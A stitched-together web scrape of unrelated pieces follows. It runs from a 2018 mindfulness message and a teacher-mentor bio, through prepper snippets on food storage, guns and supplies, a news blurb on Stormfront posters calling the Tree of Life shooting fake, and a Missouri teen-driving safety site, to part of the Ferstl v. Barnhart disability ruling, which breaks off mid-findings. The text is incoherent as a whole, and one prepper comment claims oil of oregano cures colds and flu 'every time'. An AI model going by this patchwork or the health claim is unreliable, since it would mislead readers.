We all have that inner critic who is constantly telling us what to do and what not to do. The critic not only judges our behavior it also judges the behavior of all those people around us. Judging takes time and is exhausting and can produce lots of anxiety and emotions that take our attention away from the joy in our lives. Lots of our stress comes from internal worry and expectations that we put on ourselves to be busy and to constantly be doing more. By being non-judgmental we clear our mind space so we can see the all the good that is happening in our lives.
In this new year let’s STOP reacting in ways that no longer serve us. Let’s stop being so busy that we miss the magic moments in our lives and classrooms; the moments that make us laugh or perhaps cry – in a good way. Let’s START paying attention, on purpose, in the present moment without judgment. May this New Year 2018 be mindful and full of joy!’
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Carol Pelletier Radford is the Founder and CEO of MentoringinAction.com. This team is a group of dedicated teacher leaders who offer expertise and resources in the spirit of paying in forward to support the success of students. The mission of Mentoring in Action is to empower mentors and novice teachers in realizing their full potential as effective teachers and emerging leaders. She received her EdD from Harvard University where she focused her studies on teacher leadership and professional development. Carol began her career as a public school teacher where she learned the value of student engagement, teacher collaboration, and using student voices to improve teaching practices. She served in higher education as a teacher, administrator, licensing officer, and alternative certification program director. Carol is the author of three books that support novice teacher and mentor leadership development. Two books with Corwin Press: Mentoring in Action: Guiding, Sharing, and Reflecting With Novice Teachers and The First Years Matter: Becoming an Effective Teacher, offer school districts a month-by- month curriculum. Her third edition of Strategies for Successful Student Teaching guides the student teacher through the practicum, the job search and into the first year of teaching. Dr. Radford is actively engaged in designing online mentoring graduate courses that use videos, reflective journals, and mindfulness practices. She is a passionate advocate of teacher leadership and the development of mentor leaders who can transform their district induction programs to bring joy back to the classroom.
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Thanks for another helpful article, Pat. I’d been wondering about long term food for my preps. I’ve never had MRE’s, although I have eaten “C” & “K” rations (remember those battleship gray-green cans?) an older relative brought home. My question is, how do I determine the best taste/value for my dollar? My goal of having 6 months to 1 year’s worth of food for a family will be significant in terms of money spent. Do you know of any “survival food” vendors who have trial offers for people to taste test BEFORE they plunk down 4 figures for boxes of… Read more »
I know it’s not an incredibly expensive product, but a food dehydrator has been on my prepper wishlist for a long time. They’re so convenient, especially when you have ones with so many racks like the Excalibur on hand. Yes, you can dehydrate foods without one, but it’s not as easy to do, and thus for me, makes it much less likely I’ll actually bother to do it. Major wishlist item here.
Many municipal water supplies are disinfected with chloramine now, not chlorine. (That's Texas law, for example.) The difference is that chlorine evaporates, while chloramine does not. It can only be removed by chemical reaction or charcoal filtration. For that reason, I avoid tap water as much as possible. But one nice thing about it in a survival situation is that, based on personal experience at least, it does not go bad.
If the height of the Concrete shelter is decreased to 8 feet ( the same height of the ceilings in your home), the required depth of the hole is reduced to 10-11 feet and the gross interior area is 1,600 cubic feet. This is still more than a 10 foot pipe of the same length while also providing complete use of the space, as the side walls are not coming in toward the center as they do in a pipe.
An emergency can strike without warning and unfortunately, most people find out too late that they are missing the essential supplies. Far too many times you’ve seen on the news how people line up in front of grocery stores hoping to get some last minute survival foods. If you end up doing the same, you should at least know what to buy from your grocery store.
The Oppidum is located in Czech Republic, a region surrounded by mountains. The place was never targeted as a subject for aggression. Geographically, any possible conflict will most likely stay away from Czech Republic or invaders may likely reach it at a later stage. By that time, residents and the owner of The Oppidum will arrive and have plenty of time to prepare.
It would also be good to have trapping, and hunting equipment on hand. Things like compound bows; machetes, knives, a knife block, snare wire and a rifle with ammunition would be a few things to start with. Prepper food-storage is needed, but in times of adversity and emergency, having a way of protecting yourself and a way to hunt food is optimal and ideal.
I have muscle racks from Sams Club. They are so heavy duty so hold A LOT of weight for totes, #10 cans, buckets. They are adjustable and I want to say each shelf holds up to 1000lbs??? I think the racks are around $160. I have found some great prices on Augason Farms products online at Walmart and Sams Club. For #10 cans the LDS cannery has some of the best prices on pantry staples. Emergency Essentials has other items like baking powder, cornstarch, etc in smaller cans which can be nice to look into.
In 2014 there was a major outbreak of Ebola hemorrhagic fever in West Africa. This was far larger than all earlier outbreaks combined, because people are getting more mobile and the disease reached larger towns and cities. Horrifyingly, it also managed to reach out across the Atlantic and infect four people in the USA. We were lucky; all the cases were caught before they could spread further. We might not be lucky next time – and the virus is still out there in Africa. All it takes is one sick person to get on a plane and we could be facing a major epidemic.
Don’t fret over that: below I have provided a handy checklist for what I think are think are the most essential supplies to stock and steps to implement if you are starting from zero or close to zero. This article will not be detailed step-by-step guide on any one skill, discussion over what foods have the best calorie-to-shelf-life ratio or the absolute best way to store water. All of that has been discussed in detail with expert input here and elsewhere. What the list will be is your jump-start to taking simple, positive action that will give the you of today better survival odds in a crisis over the you of yesterday.
This one in particular can get unruly fast, as there’s always plenty you’ll want to do with regards to prepping no matter how much you’ve already got done and under your belt. If you’ve already started one of these, it’s been set up for a while, and happens to be a complete mess, take a look at the article I spoke about before, on re-organizing your prepper to-do list. It will help you sort your list out in an order that makes sense.
You can’t go wrong with instant mashed potatoes, they are a great and inexpensive addition to your food storage. I like Gaye, will use the DAK ham, it is one step up from SPAM. You can add it to a pot of bean soup or fry it up with some potatoes and onions and peppers. I look for versitile foods that are low in sodium and that serve multiple purposes.
What you are going to get is a list of 20 items that can easily be purchased at your local grocery store, warehouse club and surprisingly, even online at Amazon. They can be purchased in one shot, all at once, or you can pick up one item from the list each week over a period of twenty weeks. The choice is yours. All I ask is that you consider getting each of the items on the list and that you also consider getting started sooner rather than later. I promise you that this will be easy.
Even if you are not preparedness minded, creating a food supply of emergency food is rather straightforward. You can do some last minute shopping before disaster strikes to be on the safe side. A trip to the grocery store is all it takes. The survival foods listed in this article can be found at your local store. These foods have a long shelf-life, are calorie dense and are inexpensive. All of these survival foods are good choices to keep on hand in the event of an emergency situation and you probably already have some in your house.
Pasta Primavera … wow! Huge hit. Generous amount of vegetables and a creamy Parmesan sauce. Unlike its competitors, the pasta in this dish isn’t mushy, but has a great, chewy texture in a surprisingly delicious sauce. All testers would eat this as a regular meal, and thought it would be good to just keep on hand as a pantry staple. “The kind of food that makes you hope the power goes out!”
Buy dry goods in bulk whereever is cheapest. Transfer into 1 gallon Mylar bags with 1 oxygen absorber per bag. Weight, date and label each bag. Store bags in 2 1/2 gallon food grade frosting buckets available free at any bakery. Each bucket will hold 3 gallon mylar bags. Label each bucket with contents and date. By using these buckets you keep the weight to a manageable level for easy moving. It’s also food grade and water proof. Rotate stock as used. Use the food stoage calculator to figure out what you need and use an excel spreadsheet to keep track of your inventory. Lots of work but you will save thousands in inflation costs and be prepared for almost anything.
3. Supplies for bartering: These are my lowest priority but it never hurts to have a little extra of something that could be useful for bartering in the future. But remember your situation is different from mine. You might not have the room to store hundreds of gallons of fuel or water, so you might want to stockpile supplies that take up less room like batteries, lighters or water purification tablets that can be used to barter with in the future.
58. N95 masks – if there is ever a pandemic, having a mask can be invaluable. Flu, sars, ebola, etc… when the crises hits these be will go fast, so stock up on some before they are needed. It is suggested to get the N95 quality valved respirators, although there is some debate on their effectiveness. A full face respirator will settle the question!
Your second gun should be a good hunting rifle. Bolt or semiauto is fine, and the ideal caliber is .308. Ammo is cheap and widely available because you can use 7.62mm NATO as well. It also has enough punch to take down just about any game. A handgun is a lower priority, but handy to have. Go for a high-capacity 9mm semi, if you’re buying one. Again the ammo is NATO standard and easy to find.
Followers of James Wesley Rawles[45] often prepare for multiple scenarios with fortified and well-equipped rural survival retreats.[46] This group anticipates a near-term crisis and seek to be well-armed as well as ready to dispense charity in the event of a disaster.[43] Most take a "deep larder" approach and store food to last years, and a central tenet is geographic seclusion in the northern US intermountain region.[47] They emphasize practical self-sufficiency and homesteading skills.[47]
I find generators that can be transported easily to be a way better idea than just regular generators – don’t know why and let me know if you agree/disagree in the comments. Thanks to the fact that generators have been around for a long time (unlike solar panels I mean), you can get some great products for what’s, in my opinion, a perfectly reasonable cost. And while I’d prefer to have a solar generator like the one listed at #6, something like this is much more affordable, and gas is easy to get, so I will likely end up with a portable gas generator first.
My very first concern would be water. Water is essential. Second would be First Aid supplies. Third would be sealing the room or space I am in. Fourth would be protecting food and putting it where it can’t be easily contaminated. Fifth would be setting up communication in a way that doesn’t require electricity or Internet. Sixth would be prepping for nuclear winter. Lots of blankets and warm clothing to cover up with.
The same goes with flour. To make flour usable, you also need yeast and baking powder plus the skill and know-how to bake. Not only that, you most likely will need an outdoor oven of sorts – especially if the grid is down post disaster. That, and more, will come later, but for now, while covering the basics, it is much simpler and far more practical to stick with easy to cook foods that can be combined into interesting meals without the need for much experience other than opening a can or a package.
In the end, it’s a good thing to have multiple tools or ways to accomplish something. Most preppers take a “two is one, one is none” approach with backups and redundancies. Following this guide is an efficient way to have those backups. Rather than having three med kits in your basement collecting dust, each one is serving a purpose at all times by being ready in your home, bug out bag, and get home bag.
11/2/18 Online hateEnable IntenseDebate Comments: Enable IntenseDebate CommentsOn Wednesday, four days after 11 people were fatally shot in the deadliest attack on Jews in U.S. history, anonymous posters on another website popular with white supremacists, Stormfront, claimed the bloodshed at Tree of Life synagogue was an elaborate fake staged by actors. The site’s operator, a former Ku Klux Klan leader, said traffic has increased about 45 percent since the shooting. read mor […]
Communication: Radio is still the best way to get emergency info. Unfortunately we’ve had a lot of bad experiences with the $20 to $70 “emergency radios” commonly available on Amazon. Poor reception, awful durability, bloated with unneeded features, etc. So we’re not going to make a recommendation until we’ve done a full product review, but if you’re looking anyway, Kaito and Eton are the two most common brands.
Oil of oregano. This is my favorite pick for a medicinal herb. This stuff has amazing immune system benefits and antibiotic properties. We use it constantly in my house to wipe out colds and flues, it does the job every time! Capsules are the most convenient form, although you can purchase the oil and add it to beverages (Don’t expect it to taste good!)
Because I couldn’t stop wondering what it would be like to actually live off the stuff, I placed an order for Wise’s Seven Day Emergency Food and Drink Supply, a shoebox-size assortment of breakfast foods, entrées, and dehydrated whey milk substitute, in addition to a few other options I’d discovered online. I wanted to know what an insurance policy tasted like. |
Notice - This site is
no longer actively updated. The site will be left online as a infomational
site for Missouri teen drivers, and as a memorial to the victims who lost
their lives during the three year period of 2006-2008. Please remember to
drive like your life depends on it .... because it does.
Every year, approximately 250 people will lose their life in a Missouri traffic
accident involving a teen driver, ranking it the 10th deadliest state in
the United States. In 2005, teenage drivers, between the age of 16 to 20,
made up approximately 7% of Missouri drivers, but were driving in nearly
28% of all traffic crashes involving injury, and 22% of all fatal crashes).
AAA says a teen is killed or injured in a Missouri car accident every 43
minutes². (This web site uses the age of 20 and under to define a
teen driver -
MHP figures for 2005 )
This website was created to give Missouri teenagers a place to learn from
the mistakes, or misfortunes of other
teens.
It is a place where you can remember friends that have been lost in car crashes,
and a place where lost friends can reach out to you. As it grows, and more
Missouri families and law enforcement agencies contribute, this site may
shock you, or make you cry, but hopefully, it will get your attention.
This little waystation on the internet highway is called Operation Stop for
Missouri teen drivers. The goal is to stop you from making that one mistake
that could prove deadly. You have a long and wonderful life to look forward
too. Some of you are dying to drive. We'd like to share with you on how to
keep from driving to die!!
Teens, aged 15 to 20 years of age, make
up nearly 9%of all Missouri drivers,
but are involved in
23%
of fatal traffic crashes. (updated for 2006 -
source)
While Missouri led the nation in 2006 in reducing the
number of fatal crashes, the percentile of teen drivers increased, as did
the percentage of fatal crashes involving a teen driver.
If you watch no other video's on this website, please
watch "In the
Blink of an Eye" and
"Teen Drinking
and Driving". California tells the story of three teens on their site
- 16 year old
Annie
Vano, 19 year old
Trevor
Gilbert, and 17 year old
Joel
Davis. Watch these short video's about these three teens. You may not
have known them personally, but you do know teens just like them. As with
all films posted on this site, if you are a family member who has suffered
a tragedy recently, these videos may be too difficult to watch. Family members
are asked to read this
explanation
about the site.
Per mile driven, 16 to 19 year old teen drivers are
4X more
likely to crash than older drivers .(CDC)
Mother of three, 36 year old Debra Moseley was
on her way to work westbound on a rural Missouri road one Monday morning
in March of 2005. Eastbound, on the same road, was 19 year old Richard Maberry.
Suddenly blinded by the rising sun, Richard's car crossed the centerline
and struck Debra nearly head-on. Both were killed. A few months later,
Richard's first child was born.
The morning after leading her varsity basketball
team to a one point victory, 17 year old Ava sports star Mandy Marlene Hampton
died, when the car she was driving, left the road and struck a pole.
Amongst the hundreds that attended her funeral, sat the entire Seymour Tigers
girls basketball team. It was this team, that Mandy's 15 points that night,
had helped defeat.
Click to watch
2006
Missouri StatisticsOn average....
A teen was killed in a traffic crash every 2 days.
Every 88 minutes a
teen driver was involved in an injury crash.Every 38.5
hours a teen driver was involved in a fatal crashSource
Last December, professor Peter Wooley wrote an article
in the Washington Post, stating that the number of people killed in US car
crashes is a "non-story every year, going back decades". He went on to claim
these tragedies are "absent from the agenda of most public officials and
largely ignored by the public." A few months later, Ted Koppel, on NPR radio,
commented, "Apparently, 43,000 deaths a year is a price we are prepared to
pay for the benefits that motorcycles, cars, trucks and buses provide." While
both of these writers were making a point, the question begs to be asked.
Have we, as a society, really grown so apathetic toward the fact that 120
of our fellow Americans will be killed in crashes on our roads every
single day, or have we surrendered ourself to the inevitable fact that, according
to the National Safety Council, each of us has a one in 84 chance of dying
in an automobile crash during our lifetime? The answers are not easy, but
we must address the problem? Has death by car crash become a new fact of
life?
Unlike most teen safety driving sites, this site has nothing to
sell, doesn't market any company or service, asks for no donations, nor accepts
them.
The only motivation for this site is to potentially save a young life
from a senseless tragedy. |
360 F.Supp.2d 1181 (2005)
Carmen FERSTL, Plaintiff,
v.
Jo Anne B. BARNHART, Commissioner of Social Security, Defendant.
No. CIV.A. 03-2323-GTV.
United States District Court, D. Kansas.
March 3, 2005.
*1182 *1183 Sharon J. Meyers, Kansas City, MO, for Plaintiff.
Christopher Allman, Office of United States Attorney, Kansas City, KS, for Defendant.
MEMORANDUM AND ORDER
VanBEBBER, Senior District Judge.
Plaintiff Carmen Ferstl brings this action pursuant to 42 U.S.C. § 405(g) and D. Kan. Rule 83.7, seeking judicial review of the decision of the Commissioner of Social Security ("Commissioner") to deny her application for a period of disability and disability insurance benefits under Title II of the Social Security Act. Plaintiff claims that she is impaired due to injuries she suffered in a motor vehicle accident on January 28, 2000. Specifically, Plaintiff alleges that she suffers severe pain, swelling and stiffness in her left ankle, leg, and wrist, as well as her right hip and back. The record indicates that Plaintiff completed high school and one year of cosmetology school. Her past work experience includes working for the Kansas Department of Human Resources as an employment and training representative and as a claims taker. For the following reasons, the Commissioner's decision is reversed and remanded for further proceedings.
I. PROCEDURAL BACKGROUND
On August 31, 2001, Plaintiff filed an application for disability benefits, claiming disability since January 28, 2000. The application was denied both initially and upon reconsideration. At Plaintiff's request, an administrative law judge ("ALJ") held a hearing on October 10, 2002, at which Plaintiff and her counsel were present. On February 27, 2003, the ALJ rendered a decision in which he determined that Plaintiff was not under a "disability" as defined by the Social Security Act. After *1184 the ALJ's unfavorable decision, Plaintiff requested review by the Appeals Council and submitted additional evidence not before the ALJ. The Appeals Council denied Plaintiff's request for review on May 9, 2003. Plaintiff again submitted additional evidence to the Appeals Council for its consideration. On June 23, 2003, the Appeals Council vacated its May 9, 2003 decision, but denied Plaintiff's request for review. The ALJ's decision therefore stands as the final decision of the Commissioner.
II. STANDARD OF REVIEW
The Commissioner's findings are binding on this court if supported by substantial evidence. 42 U.S.C. § 405(g); Dixon v. Heckler, 811 F.2d 506, 508 (10th Cir.1987). The court's review is limited to determining whether the Commissioner's decision is supported by substantial evidence in the record and whether the Commissioner properly applied relevant legal standards. Marshall v. Chater, 75 F.3d 1421, 1425 (10th Cir.1996) (citing Castellano v. Sec'y of Health & Human Servs., 26 F.3d 1027, 1028 (10th Cir.1994)). "Substantial evidence is such relevant evidence as a reasonable mind might accept as adequate to support a conclusion." Castellano, 26 F.3d at 1028 (citations and internal quotation marks omitted). The court may not reweigh the evidence or substitute its judgment for that of the ALJ or the Commissioner. Hamilton v. Sec'y of Health & Human Servs., 961 F.2d 1495, 1500 (10th Cir.1992).
III. PLAINTIFF'S MEDICAL BACKGROUND AND THE ALJ'S FINDINGS
A. Plaintiff's Testimony at the ALJ Hearing
On October 10, 2002, Plaintiff testified before the ALJ. As a result of her injuries from the January 2000 car accident, Plaintiff stated that she suffered facial damage; her left leg was injured after a rod went through it just below her knee; her ankle was fractured in several locations; she fractured her left wrist; and she eventually suffered a post traumatic hematoma in her right hip. Furthermore, Plaintiff testified about the symptoms she still experienced because of these injuries. In particular, Plaintiff claimed that sensitivity in her left leg prevented her from wearing hose or slacks. Plaintiff also stated that she has frequent headaches, difficulty sleeping at night, and blurry vision and dizziness when she gets up in the morning. Plaintiff testified that she could stand no longer than ten to fifteen minutes before her right side became stiff and that she could sit only ten to fifteen minutes before her back and right hip started to tingle, burn and become stiff. Plaintiff informed the ALJ that her most comfortable position was to lie on her right hip and shoulder with her left leg elevated. Moreover, Plaintiff stated that she occasionally needed a walker to ambulate, although the ALJ noted that she was not utilizing one at the hearing. Since the car accident, Plaintiff estimated that she has gained sixty pounds.
On a typical day, Plaintiff stated that she gets up, moves around, and tries to be somewhat of a housewife by doing little things. She stated that she has difficulty putting her clothing on, that she does some cooking and cleaning around the house, and that she drives a car "off and on." Plaintiff also attends church, but she testified that she must sit with her left leg slightly elevated and that she is not able to kneel. Plaintiff reported that she took six medications for pain on a daily basis, as well as Neurontin for numbness, Meclizine for dizziness, and a diuretic to control the accumulation of fluids in her body.
Plaintiff testified that she attempted to return to work at the Kansas Department *1185 of Human Resources in November 2000, despite her doctor's concerns. She stated that she initially worked minimal hours, then increased to four hours a day, and by March 2001 she worked eight hours a day. She claimed that her position as an employment and training representative required her to find jobs for one hundred and fifty clients and resulted in an excessive amount of paperwork and walking. She also reported that the job forced her to constantly sit, stand, walk, bend, stoop, and squat to retrieve files. As a result, Plaintiff alleged that her left leg swelled and became discolored, and that she was not able to concentrate because of pain she experienced. She tried elevating her leg while she was sitting at her desk, but that did not alleviate her problem. Plaintiff continued to work until July 30, 2001, when she quit her job because of the constant swelling in her left leg and her concentration problems.
B. Medical Evidence From Plaintiff's Treating and Consulting Physicians
1. Dr. Powers
Dr. Robert Powers, Plaintiff's primary care physician, examined Plaintiff on a continuing basis after her automobile accident in January 2000. On October 2, 2001, Dr. Powers wrote an opinion letter to an attorney regarding Plaintiff's medical history after her automobile accident. He noted that since January 2000, neurologists, orthopedic surgeons, and pain management and rehabilitation physicians performed diagnostic and surgical procedures on her left leg, right hip and groin area. He stated that although Plaintiff attempted to return to work, she continued to suffer intractable pain and that it was finally determined on September 11, 2001 that she was totally disabled. He opined that Plaintiff "is, and will be, permanently disabled the rest of her life and will probably suffer significant pain in her left lower leg due to the trauma of nerve injury as well as the evacuated hematoma [in her right flank and buttock] with the associated scarring...."
On October 7, 2002, Dr. Powers submitted a Physical Residual Functional Capacity ["RFC"] questionnaire that posed a number of questions regarding Plaintiff's condition. In the questionnaire, Dr. Powers diagnosed Plaintiff with reflex sympathetic dystrophy. He described Plaintiff's pain as "chronic," "severe," and "incapacitating," and stated that he expected no improvement. When asked to identify the clinical findings and objective signs to support these responses, Dr. Powers cited the multiple scars on Plaintiff's leg and hip, her deformed left leg, and her tenderness to any touching or pressure in those areas. He further found that Plaintiff's pain was severe enough to constantly interfere with her attention and concentration, even for simple work tasks or low stress jobs. In terms of Plaintiff's physical capabilities, Dr. Powers checked boxes indicating that she could sit and stand for less than two hours in an eight hour workday. He noted that Plaintiff would need to elevate her leg with prolonged sitting and utilize a cane or assistive device while engaging in standing or walking.
Dr. Powers filled out an "Attending Physician's Statement of Disability" on December 27, 2002. On that form, Dr. Powers indicated that Plaintiff suffered from reflex sympathetic dystrophy, citing pain in her shoulder, arm and leg. He also noted the following objective findings to support his diagnosis: a deformed leg; multiple scars on her leg and arm; and tenderness to palpation. He concluded that Plaintiff's progress was unchanged, she was totally disabled for any occupation, and she would never be able to resume any work. Again, he cited that her *1186 pain level limited her employment possibilities.
Dr. Powers filled out a second RFC questionnaire in April 2003, after the ALJ's decision. Dr. Powers's answers are substantially similar to his responses in the October 2002 questionnaire, but his diagnosis of reflex sympathetic dystrophy mentioned only Plaintiff's pain in her left leg. Of further note, Dr. Powers stated that Plaintiff's good days would still be incapacitating and that she would likely miss more than four days of work per month as a result of her impairments. He also mentioned that she has shown no improvement since January 2001.
Finally, the record contains Dr Powers's treatment notes from March 2, 1999 through October 7, 2002. MRI reports from August 2002 demonstrated an unremarkable MRI of Plaintiff's sacrum, sacroiliac joints and her thoracic spine. The August 2002 MRI of her lumbar spine, however, showed "multi-level degenerative disc disease with early changes in the spinal stenosis related to hypertrophic facet degenerative disease and bulging discs."
2. Dr. Becker
Dr. Karl Becker treated Plaintiff for pain at the University of Kansas Pain Management Center. On September 28, 2000, Plaintiff visited Dr. Becker, complaining of pain and swelling in her left leg and foot. Upon examination, Dr. Becker noted that Plaintiff had very mild swelling and normal skin temperature in her left calf and foot, with hypersensitivity to light touch over several scars secondary to her trauma. He concluded that Plaintiff suffered from low back pain and lower extremity pain. In a follow up letter to Dr. Murphy, Dr. Becker stated that he believed that Plaintiff suffered from pain in her lower left extremity, but he did not believe that she had "significant signs or symptoms of reflex sympathetic dystrophy."
Plaintiff visited Dr. Becker again on January 10, 2001. At that time, Plaintiff still complained of pain and swelling in her left leg and foot, numbness in her right hip, and pain from a hematoma in her right gluteal region. In a follow up letter to Dr. Murphy, Dr. Becker stated that he believed that Plaintiff had possible mild sympathetic dystrophy involving her left ankle and foot and that he treated her with a lumbar sympathetic epidural block. He also stated that Plaintiff had a trochanteric bursitis and that he performed a trochanteric bursa injection. Dr. Becker examined Plaintiff two weeks later, noting that he did not plan to continue performing lumbar sympathetic blocks or trochanteric bursa injections on Plaintiff due to her lack of response and the fact that she had no signs of reflex sympathetic dystrophy. He did plan to do scar infiltration into the area of a painful scar beneath her left patella, and he prescribed her Neurontin and Celebrex for pain. Dr. Becker also gave Plaintiff a work release, advising her to return to work four hours a day, or additional hours depending on her tolerance level. In a follow up letter to Dr. Murphy, Dr. Becker stated that he did not believe that she had mild sympathetically maintained pain, but that she probably continued to have a mild trochanteric bursitis and a painful scar beneath her patella.
Plaintiff's medical records reflect that she returned to see Dr. Becker on February 22, 2001. Dr. Becker noted that the scar injection he performed during Plaintiff's last visit provided Plaintiff relief for one week, but that Plaintiff now complained that the pain had started to return. Plaintiff reported to Dr. Becker that she was able to work six hours a day, and that working eight hours a day caused her some back discomfort the next day. Dr. Becker performed another scar injection because of Plaintiff's painful scar beneath her patella.
*1187 3. Dr. Murphy
Treatment records from Dr. Robert Murphy, Plaintiff's treating orthopedist, between February 2000 and July 2002, reveal that Plaintiff continually complained of pain in her left leg, left ankle, left wrist and right hip as a result of her car accident. On May 12, 2000, Dr. Murphy noted that Plaintiff, for the first time, complained of pain and swelling in her left knee, left ankle and her right hip. He referred her to Dr. Reddy Katta for therapy on her back and hip, took some x-rays of her ankle, and encouraged her to be as active on her ankle as possible. On June 12, 2000, Dr. Murphy stated that Plaintiff complained of pain in her hip and back and that he had referred her to Dr. Katta to treat those problems. He commented that x-rays of her ankle looked good and that she could be as active as she wanted on it. Dr. Murphy also examined Plaintiff on August 24, 2000, two weeks after having surgery on her hematoma in her right gluteal region. At that time, Dr. Murphy noted that Plaintiff's symptoms in her right rip significantly improved because of the surgery, although she still complained of swelling in her left leg. He also noted that Plaintiff had excellent motion in her ankle. A treatment record from September 7, 2000 indicates that Plaintiff complained of diffuse pain and swelling in her left leg. Dr. Murphy performed a physical examination on that day, noting that her skin texture and temperature appeared normal, and that he did not observe much swelling, redness, or tenderness. He did not believe that Plaintiff had "reflex sympathetic dystrophy brewing." Dr. Murphy concluded that Plaintiff should be referred to a pain management clinic for treatment, including possible thrombotic problems and possible reflex sympathetic dystrophy. On June 25, 2001, Plaintiff visited Dr. Murphy, complaining of pain in her left leg and right hip. Because Plaintiff suffered from a complex pattern of injury, Dr. Murphy referred her to the doctors at the pain management clinic who would better be equipped to handle her problems.
Dr. Murphy did not examine Plaintiff again until January 7, 2002. At that time, Plaintiff complained of left leg and wrist pain. Dr. Murphy did not know what was causing her wrist pain, observing no areas of tenderness, swelling or discoloration. He also did not know what was causing her leg pain, finding "[n]o overlying skin changes, discoloration, alteration, ... sweating, hyperesthesia, or any other problems that one might associate with a reflect sympathetic dystrophy." As to her ankle, Dr. Murphy noted that x-rays showed good healing of her fractures and alignment of the fractures and fixation device. Dr. Murphy observed that Plaintiff had been to the pain clinic, physical therapy, and tried all kinds of medicines. He concluded that Plaintiff should see Dr. Katta again and try to lose some weight to alleviate her lower extremity symptoms.
Finally, Plaintiff visited Dr. Murphy on July 29, 2002, complaining of hypersensitivity around her left ankle and a pressure sensation in her left leg. He noted that her symptoms have been present for a long time, but she did not appear to be getting any better despite going to multiple pain clinics and doctors. He did not know what was causing her symptoms and he referred her to a pain clinic physician for possible treatment of reflex sympathetic dystrophy.
4. Dr. Reddy Katta
Between February 2000 and January 2003, Plaintiff periodically visited Dr. Reddy Katta, an orthopaedist. Dr. Katta's initial evaluation of Plaintiff in February 2000 observed that Plaintiff admitted having pain in her neck and lower back, as well as numbness in her left upper extremity, right hand and right thigh areas. Dr. Katta noted that Plaintiff took Tylenol III, *1188 Ultram, Vicodin and Percocet for pain. Dr. Katta reported in a follow up visit on May 12, 2000, that Plaintiff complained of pain in her right hip area, and numbness in her left leg and foot and her right hand. Dr. Katta stated that Plaintiff remained "independent with basic mobility and most of the aspects of her self care." He recommended that Plaintiff continue her water aerobics, use moist heat on her hip and thigh area, and perform stretching exercises. Dr. Katta also advised Plaintiff to use her walker until the pain improved. He concluded that Plaintiff could not "return to her work at least for the next two months."
On June 5, 2000, Plaintiff informed Dr. Katta that she had not been attending water aerobics and that the pain medication had not been helping her. Plaintiff also told Dr. Katta that her pain increased with any activity and that she could not sit, stand or walk for more than ten to fifteen minutes at a time. Upon physical examination, Dr. Katta reported that movements in Plaintiff's lower back were painfully limited, Plaintiff had no pain with range of motion of her left ankle, she had dysesthesia to touch around the left ankle, and that she had tenderness to palpation over the right hip area. Again, Dr. Katta noted that despite continued back and hip pain, Plaintiff remained "independent with basic mobility and most of the aspects of her self care." Dr. Katta also changed Plaintiff's pain medication, advised her to participate in water aerobics, and told her that she could not return to work for at least the next two months.
Plaintiff saw Dr. Katta on August 18, 2000, soon after the hematoma was drained from her right buttock area. She complained of pain in her right hip area, and upon physical examination, Dr. Katta noted that she had tenderness to palpation over her right trochanteric bursa area with relative weakness of her right hip girdle muscles. He recommended that Plaintiff continue her medication, use ice packs or moist heat on her right hip area, and continue using her roller walker. Dr. Katta advised Plaintiff that if her pain persisted, he wanted her to return the following week to consider an injection in her right trochanteric bursa.
Plaintiff did not see Dr. Katta again until September 11, 2001. On that day, she complained of pain in her back, hip, left knee, and left lower extremity. Dr. Katta noted that Plaintiff tried to work for six months, but that Dr. Powers took her off work because she could not continue. Dr. Katta's physical examination of Plaintiff revealed some pain in her lumbar spine after extreme range of motion, tenderness to palpation over her lumbar spine, mild tenderness over her left calf, and some swelling of her left lower extremity when compared to her right side. Dr. Katta noted that Plaintiff came into the office walking without an antalgic gait and that she was not using any assistive devices. He diagnosed Plaintiff as suffering from chronic low back pain because of a lumbosacral sprain with probable associated degenerative joint disease and degenerative disk disease. Dr. Katta recommended Plaintiff use moist heat or ice packs on her left knee and lower back, followed by trigger point massage, stretching exercises, as well as walking and water aerobics. He also advised Plaintiff to use a cane or walker. At Plaintiff's request, he prescribed Tylenol III for pain disturbing her sleep.
On January 18, 2002, Plaintiff returned to see Dr. Katta, still complaining of back and lower extremity pain. Plaintiff did not arrive at Dr. Katta's office using an assistive device. At Plaintiff's request, Dr. Katta performed trigger point injections for pain in her right trochateric bursa area. Dr. Katta again advised Plaintiff to *1189 continue her present medication and home exercise program, to participate in a water aerobics plan on a regular basis, and to use a walker or a cane.
Plaintiff's next visit of record with Dr. Katta was not until January 16, 2003, when she complained of pain in her lower back, right hip, elbow and shoulder, and numbness and tingling in her right hand. At that time she was taking Neurontin and using Lidoderm patches for pain. Plaintiff arrived at Dr. Katta's office using a walker. Dr. Katta assessed that Plaintiff continued to suffer lower back pain with a right trochanteric bursitis. He stated that no clinical evidence supported lumbar radiculopathy, but that there was clinical evidence of right carpal tunnel syndrome. Dr. Katta referred Plaintiff for physical therapy to help ease her shoulder, elbow, and right hip tendinitis pain, and commented that she may benefit from carpal tunnel release.
4. Dr. Neblock-Bierne
On August 10, 2000, Dr. Tammy Neblock-Bierne drained Plaintiff's hematoma on her right hip. Dr. Neblock-Bierne examined Plaintiff again on July 25, 2001, after Plaintiff complained of pain in her right hip region and claimed that she had difficulty ambulating. Dr. Neblock-Bierne noted that the incision on Plaintiff's right hip area healed well, that there was no palpable evidence of a hematoma or fluid collection, and that Plaintiff's skin in that area was sensitive on touch. Dr. Neblock-Bierne ordered an MRI of Plaintiff's right hip area. Dr. Neblock-Bierne also mentioned that Plaintiff could benefit from aggressive physical therapy and that "[i]t may also be necessary for her to be on disability secondary to these injures." She specifically cited the difficulty Plaintiff incurred with ambulation and standing on her feet for a long time. An MRI of Plaintiff's right hip, performed by Dr. John Bramble on August 2, 2001, reflected "scar tissue formation along the surface of the gluteus maximus muscle and along the iliotibial tract" and "a small amount of fluid on the surface of the scar tissue."
5. Dr. Hendler
Dr. Hendler performed a consultative examination on November 5, 2002. After assessing Plaintiff, Dr. Hendler reported that although she demonstrated some symptom magnification, she also demonstrated significant physical limitations in ambulating. He stated that she needed to use her walker for safe ambulation, that she would not be able to walk or stand beyond a minimal amount, and that her pain and mood behaviors "would also be quite limiting."
C. The ALJ's Decision
In his February 27, 2003 decision, the ALJ made the following findings:
1. The claimant met the earnings requirements of the Act on January 28, 2000 and continued to meet them through the date of this decision.
2. The claimant was working as an employment and training representative from January 28, 2000 through July 30, 2001. She earned an average of $1,251.87 per month in 2000 and an average of $1,371.32 per month in 2001 (20 C.F.R. §§ 404.1574 and 416.974).
3. The claimant's work activity involved significant physical or mental activities for pay or profit (20 C.F.R. §§ 404.1572 and 416.972).
4. The claimant's work activity from January 28, 2000 through July 30, 2001 constitutes substantial gainful activity within the meaning of the regulations (20 C.F.R. §§ 404.1572 and 416.972).
